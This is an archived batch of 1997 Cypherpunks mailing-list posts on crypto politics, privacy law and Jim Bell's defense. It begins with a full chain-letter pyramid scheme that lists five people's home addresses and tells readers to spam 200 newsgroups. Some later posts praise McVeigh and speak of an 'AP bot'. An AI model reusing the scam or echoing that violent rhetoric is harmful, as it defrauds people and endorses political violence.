The web page has some net MIDIs.

To get off this list send email to remove@prokill.com. 
Thankyou, very much for your time and may GOD bless you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MoneyMan@goplay.com
Date: Fri, 30 May 1997 15:06:53 -0700 (PDT)
To: "(TURN $5.00 INTO $50,000)" < (MoneyMan@goplay.com)>
Subject: TURN $5.00 INTO $50,000 IN 6 WEEKS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Message-ID: <199705302112.OAA04889@iceland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain




YOU CAN START YOUR OWN INTERNET BUSINESS IN YOUR SPARE TIME!!!

As you know the internet is growing at a tremendous rate. And
I'm sure you realize that millions of dollars are exchanged
for goods and services on the internet each day. Have you ever
said to yourself "I would like to use my computer too make
money" (or to make more money)??
WELL YOU CAN AND WILL MAKE THOUSANDS OF DOLLARS QUICKLY AND
EASILY IF YOU FOLLOW THESE SIMPLE INSTRUCTIONS!!!
The Business program outlined below is a simplified form of 
E-mail marketing. Do not take this opportunity lightly, it is a
powerful tool that will allow you to have your own business
and start you on the path to financial freedom.

I KNOW THIS BUSINESS WORKS!! IT HAS WORKED FOR ME AND IT WILL 
WORK FOR YOU. By the time you receive this business plan there 
is a good chance that I will have been removed from the system.
But thats ok because I have already made a tremendous amount of
money using this system, and I would like to see your life change 
as much as mine has. There is nothing more rewarding than 
knowing that I have helped many good and honest people enrich 
their lives. Follow the instructions listed below EXACTLY and
you will be on your way. Good Luck, and share the wealth.

                                    Sincerely,
                                        Samuel Abbott Ph.D.

STEP1).
Get 5 pieces of 8.5"x11" paper and write:
"Please add me to your information mailing list"
Now take 5 $1 bills and fold $1 inside each piece of paper.
Place the request and money in 5 seperate envelopes and seal.
Carefully address the envelopes with the 5 addresses provided
below.(Be sure to include a return address and a stamp!)
Now mail the requests In a timely manner.

#1) D. Ewing; 7620 Washington; Kansas City, Mo. 64114

#2) Shari Davis; 1635 Manning Way; Colorado Springs, CO. 80919 

#3) J. Turner; 5460 White Oak Ave #C207, Encino, CA 91316

#4) Steve Wrubel; 3234 Nebraska Place; Costa Mesa, CA. 92626

#5) E. Bennett; 18226 Ventura Blvd #202, Tarzana, CA 91356


STEP2).
Copy this entire business plan and make the following changes:
Remove the #1 name off the list.
Place your name in the #5 position and move the other 4 names
up. (#5moves to#4, #4moves to#3, #3moves to#2, #2moves to#1)
Your name is now the bottom of the list.

STEP3).
POST THIS ARTICLE ON AT LEAST 200 NEWSGROUPS!!!!!!!
E-MAIL THIS ARTICLE TO EVERYONE YOU CAN!!!!!!!
IMPORTANT NOTE: You MUST post this article to AT LEAST 200
newsgroups. There are about 45,000 newsgroups, with more being 
added every day. Each time you post on a newsgroup your message
will be seen by many different people.
You should send this article via E-mail to as many people as
possible. E-mail addresses are available for free through many 
sources on the internet. You can also purchase E-mail lists from
several companies for a very small fee.
Remember it's your business and the more places you send it
to, the better your chances of success! (I highly recommend
that you send it out to more than 200 places).
REMEMBER TO PUT A CATCHY PHRASE IN THE SUBJECT BOX.

CONGRATULATIONS YOU HAVE JUST JOINED A GROUP OF ENTREPRENEURS!

Let me review why this works.....
Send out 200 articles and with a 5% response you get $10.
Those 10 people send out 200 and at 5% you get $100.
Those 100 people send out 200 and at 5% you get $1000.
Those 1000 people send out 200 and at 5% you get $10,000.
Those 10,000 people send out 200 and at 5% you get $100,000.
EVERYDAY THOUSANDS OF PEOPLE JOIN THE INTERNET!!!!!!!!!!!

The above example is a perfect case scenerio. The response rate
varies typically from 2% to 10%. To increase your success rate
I suggest that you post this article to AT LEAST 200 newsgroups
and send it to as many individuals as possible. Remember many 
people will see this article when it is posted on a newsgroup!!
Also note that many of the people you send it to are likely to
send it out to more than 200 newsgroups and people.

You don't have to retype this article every time you send it, 
just follow the instructions below and you will see just how  
easy this business is. If you follow these simple instructions
there is no way you can lose. Every day several thousands of 
people get on the internet. Don't delay start today, you'll be 
glad you did!!!!!!!!!!!!!!!!!!!

POSTING TO NEWSGROUPS USING NETSCAPE:
1) Click on any newsgroup, like normal. 
    Then click on to " To News" in the top left corner of the 
    Newsgroups page. This will bring up a message box.
2) Fill in the subject box with a catchy phrase such as:
    $$$FAST CASH$$$, ARE YOU THE PERSON WHO..., or the like.
3) Now go to the message part of the box and retype this letter
    exactly as it is here. (The only thing you change is adding
    your name in the #5 position and moving the other addresses
     up 1 position each, thus removing the #1 name).
4) When you are done typing in the WHOLE letter, click on "File"
    above the send button, then "Save as..." DO NOT SEND YOUR
    LETTER UNTIL YOU SAVE IT!!(this is so you only have to type
     this once).
5) Now that you have saved the letter, go ahead and send your 
    First copy!(click the send button in the top left corner).
6) THIS IS WHERE YOU POST AT LEAST 200 TIMES!!! OK, go to any
    newsgroup article and click the "To News" button. Type in 
    Your catchy phrase in the SUBJECT BOX, then go to the body
    part of the message box and place your cursor there.
   NOW click on "Attachment" which is right below the SUBJECT BOX.
    Click on "attach file", then find the letter you saved, click
    once on your saved file, then click "Open", Then click "OK".
   If you did this right, you should see your filename in the
    attachment box and it will be shaded. 
   NOW POST AWAY!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

IF YOU ARE USING INTERNET EXPLORER:
1) Its just as easy, Holding down the left mouse button,
    highlight this entire article, then press the the "CTRL" key
    and the "C" key at the same time to copy this letter.
2) Now go to the newsgroups and press "POST AN ARTICLE", Type in
    your catchy phrase in the subject box, and click the large  
    window below. Press "CTRL" and "V" and the article will 
    appear in the message window. **BE SURE TO MAKE YOUR ADDRESS 
    CHANGES TO THE 5 NAMES**
3) Now re-highlight the letter and RE-COPY it so you have the 
    changes...Then all you have to do for each newsgroup is
    press "CTRL" and "V" and press "POST" it's that easy!!!!!

 Thats it ! All you have to do is jump to different newsgroups
   and post away. For both methods it only takes about 30 seconds
   to post to each newsgroup. Once you get the hang of it.

REMEMBER THE MORE NEWSGROUPS YOU POST TO THE MORE MONEY YOU MAKE!!
 YOU MUST POST TO A MINIMUM OF 200 NEWSGROUPS!!!!!!!!!!!!!!!

You should start receiving replies within a week or so (sometimes
 they come within days)

BE SURE TO SEND OUT $1 TO THE PEOPLE ON THE LIST PROMPTLY!!!!!!!!!

PERSISTENCE AND HONESTY WILL REAP YOU HUGE REWARDS!!!!!!!!!!!!!

DO NOT TO LET THIS OPPORTUNITY PASS YOU BY!!!!!!!!!!!!!!!!!

FOR JUST $5 YOU CAN CHANGE YOUR LIFE!!!!!!!!!!!!!!!

REMEMBER: THE PERSON WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING.
 
Print this article so you have the addresses to send to, and the
 information on file.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MoneyMan@goplay.com
Date: Fri, 30 May 1997 18:47:01 -0700 (PDT)
To: "(TURN $5.00 INTO $50,000)" < (MoneyMan@goplay.com)>
Subject: Apology
Message-ID: <199705310106.SAA22257@iceland.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


This is a formal apology for the Chain letter I sent you. I was 
not aware at the time that things such as these were illegal. Please
be reassured that you will no longer be recieving any mail from me.
I am once again sorry if I have caused you any problems.



Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Sun, 1 Jun 1997 08:08:37 +0800
To: prolife@enterprise.net
Subject: Censored pages
Message-ID: <Pine.LNX.3.91.970601003623.361A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Message to prolife alliance, CCd to Cypherpunks list:

I noticed an article in .net a few days ago detailing how the prolife 
alliance, a UK anti-abortion group, had been required to remove images of 
aborted foetuses <sp?> from their web site. 

Clearly this is another incident of jackbooted motherfuckers censoring 
images that happen to contradict their particular brand of thuggery. 

I am sending this message to the prolife alliance to ask them to send a 
.zip or .tar`d file of their pages to me along with the censored images, 
I am also of course CCing this to cypherpunks to see if anyone out there 
not in the UK is also interested in mirroring these pages, if so send me 
email, or send direct to prolife@enterprise.net, who will, hopefully, 
provide us with a copy of these pages.

Note please cypherpunks that if there is any thread I do not wish to 
start it is a pro/anti abortion thread, therefore, I am making no 
judgements whatsoever, merely suggesting action to prevent censorship...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 14:16:56 +0800
To: cypherpunks@toad.com
Subject: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber Enemy
Message-ID: <199706010558.BAA18210@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:
>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

  I think it would be more appropriate to say that you are *selling*
your ass. Excuse me all to hell if my heart doesn't bleed purple piss
for your heroic efforts for the "rights of people" but I would prefer
for all of the time, money and effort people are putting into trying
to get the government *not* to fuck me, when they are going to do so
anyway, be put instead into developing technology to enable myself and
others to route around the damage caused by government.
  If the same amount of money that is spent on lobbying to get the
"least-bad law possible" passed was put into cypherpunk projects, then
before the President proposed crypto regulations he would have to 
decide if it was really important enough to him to put up with the
whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in 
the subject header.

  Most of the "rights" lobbyists are like hostage negotiators who tell
the hostage taker, "We'll let you kill two people without charging you
if you let the rest go."
  Don't hold your breath waiting for me to join in the applause for
your support of legislation compromising my privacy and freedom. As far
as I am concerned, most organizations with the word "Freedom" in their
name are a worse scourge than the politicians. They end up becoming
self-important whores that the government uses to get a showcase stamp
of approval on bad legislation.

  In short, "Tell the fans, not the players." I am certain that you 
can find a forum which will proclaim your sainthood for "almost"
accomplishing something useful, but the cypherpunks list is not it.
  Don't let the door hit you in the ass on your way out.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 1 Jun 1997 10:38:17 +0800
To: cypherpunks@cyberpass.net
Subject: SSN - when can agencies ask, and passports
Message-ID: <199706010225.EAA07743@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


The privacy act of 1974 (public law 93-579) says that any government
agency has to provide you with the follwing when asking for a SSN:

1. If the disclosure is mandatory or optional

2. The statutory or other authority they have to ask for it

3. How it will be used

4. Any penalties for not disclosing it.

These should be in a "privacy act notice" the agency should already have.

As far as passports, I have a pointer to an article in the Western State
Law Review, Fall '92 issue by Stephen Kruger.  The title is Passports,
Social Security Numbers, & 26 USC sec 6039E where he points out that it is
probably unconstitutional to fine someone.

A plug is warranted since the above info (and a lot more of value) is in
Financial Privacy Report, Vol4N8 (August 1994) - I think back issues are
$15, but call first (612)-895-8757.  This issue is entitled 22 ways to
protect your social security number from thieves, snoops, and bureaucrats.
FPR / POB 1277 / Burnsville MN 55337







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 2 Jun 1997 08:28:06 +0800
To: cypherpunks@toad.com
Subject: Economist on Net.Auctions
Message-ID: <v03020919afb71d9e9144@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Sun, 1 Jun 1997 00:04:02 -0700
To: dcsb@ai.mit.edu
Subject: Economist on Net.Auctions
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Comments: Please report misuse of this automated remailing service to
<remailer-admin@cajones.com>
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: nobody@huge.cajones.com (Huge Cajones Remailer)


no earth-shattering revelations, but tuesday's audience should do their
class reading for the pop quiz..

                              Going, going . . .

   THE Internet may have been the playground of the geeks for the past
   few decades, but its future belongs to an even more child-like tribe:
   economists. The network is becoming the ideal marketplace, where
   legions of buyers and sellers, both armed to the teeth with relevant
   information, can set prices as efficiently as any trading floor. As a
   result, market theories that have long been confined to
   business-school computer simulations can now have their day of
   reckoning as real people exchange real goods and money on-line.
   Nowhere is this better seen than with the economists' favourite sort
   of market: auctions.
        More than 150 auction sites are now open on the Web, selling
   everything from industrial machinery to rare stamps. Airlines such as
   Cathay Pacific and American have auctioned spare seats on their Web
   sites. AuctionWeb, which is a mixture of a classified-ad service and
   an auction room for people selling everything from rare Barbie dolls
   to barbecue grills, conducted 330,000 auctions on-line in the first
   quarter of this year alone. Onsale, the largest on-line auction
   service and one of the few profitable ones, sells $6m worth of
   computer equipment and electronic goods a month. Last month it became
   the first on-line auction firm to hit the stockmarket, going public at
   a valuation of nearly $100m.
        The Internet's chief advantage for auctioneers is the size of its
   audience. Its global reach brings a critical mass of buyers and
   sellers to the most popular auction sites, avoiding the problem of
   insufficient trading that bedevils many of their cousins in the
   physical world. Indeed, quick, easy virtual auctions carry a hint of
   the sort of hyper-efficient capitalism that Internet fans have long
   been promised.

read the rest at http://www.economist.com/issue/31-05-97/wb8772.html

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 2 Jun 1997 01:07:25 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Jim Bell Defense fund
In-Reply-To: <199706011641.LAA08290@manifold.algebra.com>
Message-ID: <3.0.2.32.19970601095227.00b519d0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:41 AM 6/1/97 -0500, Igor Chudov @ home wrote:
>I guess everyone has forgotten about Jim Bell, but he is in no less
>need of help than he used to be.

Coverage locally has been pretty nil as of late.  I guess they are hopeing
that people will just forget.

>I would like to know how to help him, and suggest to organize his
>legal defense fund.

I am willing to contibute to it.  Anyone out there willing to keep track of
the money and make sure it gets to Jim?

I am resisting the temptation (OK, not very much) that we should set up his
defense fund ala AP betting, but at this point it is probably not that
funny...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Sun, 1 Jun 1997 23:13:08 +0800
To: cypherpunks@manifold.algebra.com
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future (fwd)
Message-ID: <199706011502.KAA07737@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Alexander 'Sasha' Chislenko -----

>From cpunks@manifold.algebra.com  Sun Jun  1 02:24:20 1997
Message-Id: <3.0.2.32.19970601030136.016359d0@netcom.com>
X-Sender: sasha1@netcom.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 (32)
Date: Sun, 01 Jun 1997 03:01:36 -0400
To: (Recipient list suppressed)
From: "Alexander 'Sasha' Chislenko" <sasha1@netcom.com>
Subject: EXTRO-3: Extropy Institute's Third Conference on the Future
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-cypherpunks@toad.com
Precedence: bulk

Hope you may be interested...

--------------------------------------------------------------------------
E X T R O  3:  Extropy Institute's Third Conference on the Future
               August 9-10 1997, Doubletree Hotel, San Jose, CA

Saturday (Aug 9) theme:  The Future of the Body and Brain.
Sunday  (Aug 10) theme: Future Infrastructure.

The conference will include presentations by Eric Drexler - nanotechnology
pioneer and chairman of the Foresight Institute, Gregory Stock - Author of
"Metaman", Kevin Kelly - executive editor of Wired, Max More - President
of the Extropy Institute, Mark Miller - founder of Agorics, Inc., Chris
Peterson, Sharon Presley, Sasha Chislenko, Robin Hanson, Anders Sandberg,
and others, as well as panel sessions devoted to progress in Artificial
Intelligence, Investing in the Future, and Future of Gender and Sexuality.

Extropy Institute functions as a networking organization bringing together
scientists, technologists, entrepreneurs, philosophers, and artists who
share certain general interests including: extending life span, augmenting
intelligence (both cognitive and emotional), gaining access to space, and
achieving control over our own biology through genetic engineering,
bioengineering, neural-computer interfaces, and molecular nanotechnology.
We welcome all interested members of the public to attend and participate.

Past speakers have included Marvin Minsky of MIT, Bart Kosko - fuzzy logic
and neural network pioneer at USC, Roy Walford - leading gerontologist at
UCLA, Hans Moravec - Director of Carnegie-Mellon's Mobile Robotics Lab,
Michael Rothschild - author of Bionomics, and Ralph Merkle -
nanotechnologist at Xerox Parc.

For more information, please visit <http://www.extropy.org/extro3.htm>
or call (310) 398-0375 and leave your mailing address or email address,
or send email to more@extropy.org




-------------------------------------------------------------------
Alexander Chislenko   <http://www.lucifer.com/~sasha/home.html>
Great Thinkers page:  <http://www.lucifer.com/~sasha/thinkers.html>
-------------------------------------------------------------------

----- End of forwarded message from Alexander 'Sasha' Chislenko -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 22:41:22 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: <Pine.GSO.3.95.970601101746.24207D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 31 May 1997, Lucky Green wrote:

> If that was the extend of the story, Bell wouldn't still be in jail.  The
> USC violations above may be the official charge, but they hardly justify
> keeping somebody locked up without bail. Bell is still in jail because he

The government is trying to persuade the judge that Bell is about to blow
up a Federal building, or poison water supplies, or something. So far the
judge has agreed and refused to consent to even bail conditions like house
arrest and radio bracelet. Bell could very well stay in jail for the
entirety of his trial.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 1 Jun 1997 22:49:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: You've got to be kidding....
In-Reply-To: <v0310280aafb6af06fd32@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970601103404.24207F-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


A few points:

* I wrote about this in my Netly piece on Friday:
  http://cgi.pathfinder.com/netly/opinion/0,1042,997,00.html

* The state attorney declined to prosecute, saying the law was
unconstitutional. He was talking primarily about the "defamation" law, not
the gang law, but I think he realized both are. 

* Cypherpunks should pay attention to laws like this, not because of the
threat of indictment, but because of the implications for anonymity. Read
my article. The Florida law criminalizes truthful anonymous speech; it
also required a True Name and True Mailing Address.

-Declan


On Sat, 31 May 1997, Tim May wrote:

> 
> Someone forwarded this item to me. As he didn't cc: the list on it, I'll
> protect his identity. Could be he's understandably worried about who's
> reading the list.
> 
> This item indicates that the same team that busted this "gang" could indict
> several of us as "co-conspirators" (isn't this a redundancy?) along with
> Bell.
> 
> Lock and load.
> 
> --Tim
> 
> 
> >Date: Sat, 31 May 1997 21:23:20 -0700
> >To: tcmay@got.net
> >From: xxxxx
> >Subject: You've got to be kidding....
> >
> >Tim --
> >
> >For your grist of stupid, selectively enforced laws:
> >(from comp.risks 19.20)
> >
> >>Date: Fri, 30 May 1997 03:45:10 -0400
> >>From: David Kennedy <76702.3557@compuserve.com>
> >>Subject: Florida "Computer Gang" Members Arrested
> >>
> >>Courtesy of United Press International via CompuServe's Executive News
> >>Service:
> >>
> >>> Florida computer gang members arrested
> >>
> >>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two
> >>> alleged leaders of a so-called computer "gang" they say set up a Web site
> >>> that accused a teacher of having a homosexual affair with a student.  The
> >>> Web site displayed a photograph of the student's prom picture with the
> >>> teacher's head superimposed onto the head of the boy's female date.
> >>
> >>:: Two 19 year olds were charged with "publication of material that exposes
> >>a person to hatred, contempt or ridicule."  Because they worked together,
> >>anti-gang laws apply upgrading the charges from misdemeanors to felonies.
> >>
> >>:: The victim-teacher has been the target of harassment before, another
> >>former student was sentenced to 6 months' probation last December.
> >>
> >>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc.
> >
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Rotenberg <rotenberg@epic.org>
Date: Sun, 1 Jun 1997 23:07:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007800afb68a25627d@[205.177.146.237]>
Message-ID: <v03007800afb738d67b0d@[207.172.46.21]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:27 PM -0400 5/31/97, Tim May wrote:
>At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:
>One of the biggest problems with critics of libertarian theories is that
>they falsely claim libertarians believe that each and every action during
>each and every day by each and every agent involves complex contracts.
>
>What we are talking about here is whether there's a need for new laws to,
>using your specific example, stop companies from asking for personal
>information.

You argued that such safeguards were routiney found in freely
negotiated contracts. I responded that such safeguards were
more likely found in legal arrangements, industry standards,
and professional obligations.

>What libertarians, and hopefully other freedom-seeking people, would argue
>is that government should not be interjected into mutual negotiations if at
>all possible. This applies to Alice and Bob negotiating some transaction,
>and it applies to Alice and Safeway, and to Safeway and Apple.

Again, I don't disagree with the aspiration. We simply disagree
on how well it works on practice.

>
>Citing the straw man that libertarians believe every driver must negotiate
>a contract about how his brakes are to work has nothing to do with this
>basic point.
>

It has a lot to do with privacy standards on the net, the
role of markets, and the way safeguards will develop.

>
>As for the "rights of the people to use strong crypto," there are currently
>no restrictions *whatsoever* on crypto use. SAFE will, of course, add a
>criminalization angle to crypto use, which is a step in the wrong
>direction. Once the Legislature gets its hands on crypto use at all, the
>way is made easier for later extensions and clarifications of  the rules.
>Imagine the equivalent situation with free speech or religion: "No American
>may be denied access to the religious beliefs of his choosing, but the
>practice of non-Christian religious acts in connection with another crime
>will expose the pagan to a mandatory 5-year increase in imprisonment."

That's a fair criticism. EPIC and ACLU are still prepared to oppose SAFE.
For the record, EPIC was the group that opposed the criminaliation
provision, and organized (with the ACLU) the effort to change it. We
had a big problem with other DC groups who (a) didn't want to
even publicize the issue and (b) discouraged companies and
individuals from supporting our effort.

But I'm not thrilled about it, and I won't bullshit you that
it was some brilliant compromise. We did as much as we could.
We'll try to do more.

>
>A better tack is to take a rejectionist, no compromise stance toward any
>proposed legislation which would in any way limit or criminalize crypto
>use. Rely on the First Amendment.

We may still do this. And it's exactly what we did during the
debate on Digital Telephony.

>
>This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of
>course, but that is as it should be.

IF NSA, FBI etc are going to being around, we'll be around. And who,
btw, do you think is going to bring those First Amendment cases to
protect Constitutional rights?

>
>But, then, I quit the NRA because they were too namby pamby about the
>Second Amendment. I place more faith in my assault rifles than I do in the
>criminals in D.C. McVeigh may have killed too many innocents, looking back
>on OKC, but he generally had the right idea about hitting the power centers
>of the police state.

You lost me on that one. I've lived in one of the highest crime
districts in the country. I've had handguns waved in my face. I've
seen children lying dead in the street from gunfine.  I have no
sympathy at all for the turret-hole view of the world.

But I accept your right to express your views and will defend
that right against any government that seeks to limit your
rights.

That is my view of what the First Amendment is about.

Marc Rotenberg.



==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 2 Jun 1997 00:48:50 +0800
To: cypherpunks@manifold.algebra.com
Subject: Jim Bell Defense fund
Message-ID: <199706011641.LAA08290@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


I guess everyone has forgotten about Jim Bell, but he is in no less
need of help than he used to be.

I would like to know how to help him, and suggest to organize his
legal defense fund.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 2 Jun 1997 03:06:31 +0800
To: cypherpunks@toad.com
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v03007801afb61ffec219@[207.172.96.178]>
Message-ID: <19970601114728.28561@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 31, 1997 at 04:20:55PM -0500, Dr.Dimitri Vulis KOTM wrote:
> This law is unenforceable.  If you want to rent porn videos and you have
> some brains (the two may be mutually exclusive...) you'd pay cash and
> make the transaction totally anonymous.
> 
> Should there also be a law against grocers keeping track of who's buying what?

Brain fade, Dimitri.  Anybody who allowed anonymous rental of videos
would be out of business shortly as their stock would never be
returned.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 2 Jun 1997 08:17:52 +0800
To: cypherpunks@algebra.com
Subject: Re: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber , Enemy
In-Reply-To: <199706010558.BAA18210@dhp.com>
Message-ID: <Pine.LNX.3.91.970601123750.809B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> >a bunch of political rhetoric isn't worth much. And if
> >you don't think we're not busting our butt to protect
> >the rights of people to use strong crypto, you have no
> >idea what's going on.
> 
>   I think it would be more appropriate to say that you are *selling*
> your ass. Excuse me all to hell if my heart doesn't bleed purple piss
> for your heroic efforts for the "rights of people" but I would prefer
> for all of the time, money and effort people are putting into trying
> to get the government *not* to fuck me, when they are going to do so
> anyway, be put instead into developing technology to enable myself and
> others to route around the damage caused by government.

Quite, I think we have seen recently that even if these organisations are 
not corrupt, and have the genuine interest of citizens in mind, they 
still end up "playing the game" with the system. It is inevitable for 
them to try to compromise, there can be no compromise.

>   If the same amount of money that is spent on lobbying to get the
> "least-bad law possible" passed was put into cypherpunk projects, then
> before the President proposed crypto regulations he would have to 
> decide if it was really important enough to him to put up with the
> whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in 
> the subject header.

As soon as fully anonymous digital cash systems are widely available and 
we have moved further along the road to creating censor-proof sites we 
will see the creation of the first AP bot, we all know the outcome.

>   Don't hold your breath waiting for me to join in the applause for
> your support of legislation compromising my privacy and freedom. As far
> as I am concerned, most organizations with the word "Freedom" in their
> name are a worse scourge than the politicians. They end up becoming
> self-important whores that the government uses to get a showcase stamp
> of approval on bad legislation.

This is another good point that often gets forgotten, strangely, most 
citizens don`t mind having a red hot poker stuck up their ass as long as 
it has "EFF red poker campaign" printed on the handle.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 2 Jun 1997 04:22:38 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell defense fund
Message-ID: <3.0.2.32.19970601131447.006b15c0@postoffice.pacbell.net>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone talked to Jim to find out what he wants? I wouldn't be surprised
if he wants to represent himself without the assistance/interference of an
attorney. (I think that'd be a big mistake, but he's an adult and should be
allowed to make his own choices.) 

Is he currently represented by a court-appointed attorney? Are they working
out of the federal public defender's office, or are they in private
practice? I'm not familiar with the Tacoma federal PD's office (nor am I
sure that one exists) but the federal public defenders in Oregon typically
did a pretty good job for their clients, frequently better than that
available from the cheaper/less experienced end of the spectrum in the
private bar. A court-appointed attorney may also be more familiar
with/comfortable with clients who want to take an active part in their
defense. (Sometimes, defendants will choose to represent themseves, but
with the aid of an attorney to help them understand courtroom
protocol/procedure, and to give help/advice with the trickier issues.)

It's also possible that organizing only a small defense fund will turn out
to be worse than no defense fund, if it eliminates his eligibility for an
appointed attorney but fails to generate enough money to attract a good
private attorney. If the government really wants to screw him, forcing him
to represent himself or be represented by someone inexperienced or
uninterested or underfunded seems like a good way to do that. My hunch is
that an attorney from the private bar will want somewhere between $15K and
$30K to take this to trial, could be higher. Someone who asks for a lot
less probably doesn't intend to do very much work, unless they're doing it
on a pro bono basis. 

If people are serious about this, I suggest getting in touch with Jim or
his family to see if it's actually helpful/useful, and setting it up such
that any money raised goes directly to the attorney, not to Jim or his
family. (not because I don't think they're trustworthy, but because gaining
